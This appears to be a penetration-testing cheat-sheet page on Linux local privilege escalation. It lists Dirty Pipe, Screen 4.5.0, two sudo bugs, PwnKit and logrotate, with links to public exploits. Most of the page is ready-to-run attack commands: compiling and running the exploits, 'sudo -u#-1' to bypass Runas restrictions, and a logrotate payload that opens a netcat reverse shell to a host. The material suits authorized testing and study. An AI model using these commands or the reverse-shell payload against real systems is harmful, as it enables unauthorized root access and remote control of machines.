# Linux

## Index

<table><thead><tr><th width="265">Name</th><th>CVE</th><th>Exploit</th></tr></thead><tbody><tr><td><a href="#dirty-pipe">Dirty Pipe</a></td><td><a href="https://nvd.nist.gov/vuln/detail/CVE-2022-0847">CVE-2022-0847</a></td><td><a href="https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits">Exploit</a></td></tr><tr><td><a href="#screen-4.5.0">Screen 4.5.0</a></td><td><a href="https://nvd.nist.gov/vuln/detail/CVE-2017-5618">CVE-2017-5618</a></td><td><a href="https://www.exploit-db.com/exploits/41154">Exploit</a></td></tr><tr><td><a href="#sudo-baron-samedit">Sudo - Baron Samedit</a></td><td><a href="https://nvd.nist.gov/vuln/detail/CVE-2021-3156">CVE-2021-3156</a></td><td><a href="https://github.com/blasty/CVE-2021-3156">Exploit</a></td></tr><tr><td><a href="#sudo-runas-all">Sudo - Runas ALL</a></td><td><a href="https://nvd.nist.gov/vuln/detail/CVE-2019-14287">CVE-2019-14287</a></td><td><a href="https://www.sudo.ws/security/advisories/minus_1_uid/">Exploit</a></td></tr><tr><td><a href="#pwnkit-polkit">PwnKit -Polkit</a></td><td><a href="https://nvd.nist.gov/vuln/detail/CVE-2021-4034">CVE-2021-4034</a></td><td><a href="https://github.com/arthepsy/CVE-2021-4034">Exploit</a></td></tr><tr><td><a href="#logrotate">Logrotate</a></td><td>/</td><td><a href="https://github.com/whotwagner/logrotten">Exploit</a></td></tr></tbody></table>

### Dirty Pipe

[Exploit](https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits) kernel from 5.8 to 5.17

{% code overflow="wrap" %}
```bash
sudo apt-get install gcc
chmod +x compile.sh
./compile.sh
```
{% endcode %}

{% code overflow="wrap" %}
```powershell
./exploit-1
# change the root password in the /etc/passwd file and get an elevated shell.
```
{% endcode %}

### Screen 4.5.0

[Exploit](https://www.exploit-db.com/exploits/41154)

{% code overflow="wrap" %}
```bash
chmod +x 41154.sh
./41154.sh
```
{% endcode %}

### Sudo - Baron Samedit

[Exploit](https://github.com/blasty/CVE-2021-3156) sudo 1.8.21 | 1.8.31 | 1.8.27 | 1.9.2 | other

### Sudo - Runas ALL

[Exploit](https://www.sudo.ws/security/advisories/minus_1_uid/) sudo < 1.8.28

Exploiting the bug requires that the user have sudo privileges that allow them to run commands with an arbitrary user ID. Typically, this means that the user’s sudoers entry has the special value `ALL` in the Runas specifier.

ex. `alice myhost = (ALL) /usr/bin/id`

If a sudoers entry is written to allow the user to run a command as any user except root, the bug can be used to avoid this restriction.

ex. `bob myhost = (ALL, !root) /usr/bin/vi`

{% code overflow="wrap" %}
```bash
sudo -u#-1 vi
sudo -u#4294967295 vi
```
{% endcode %}

### PwnKit - Polkit

[Exploit1](https://github.com/arthepsy/CVE-2021-4034) / [Exploit2](https://github.com/ly4k/PwnKit) Polkit < 0.105-26

{% code overflow="wrap" %}
```bash
pkexec --version
```
{% endcode %}

```bash
gcc cve-2021-4034-poc.c -o cve-2021-4034-poc
./cve-2021-4034-poc
```

### Logrotate

[Exploit](https://github.com/whotwagner/logrotten) Logrotate 3.8.6 | 3.11.0 | 3.15.0 | 3.18.0

You have to find log files on which logrotate is run and on which you have write permissions. Then run exploit on the writable log file.

{% code overflow="wrap" %}
```bash
gcc -o logrotten logrotten.c
```
{% endcode %}

Prepare payload

{% code overflow="wrap" %}
```bash
echo "if [ `id -u` -eq 0 ]; then (/bin/nc -e /bin/bash myhost 3333 &); fi" > payloadfile
```
{% endcode %}

If `"create"-option` is set in logrotate.cfg:

{% code overflow="wrap" %}
```bash
./logrotten -p ./payloadfile /tmp/log/pwnme.log
```
{% endcode %}

If `"compress"-option` is set in logrotate.cfg:

{% code overflow="wrap" %}
```bash
./logrotten -p ./payloadfile -c -s 4 /tmp/log/pwnme.log
```
{% endcode %}
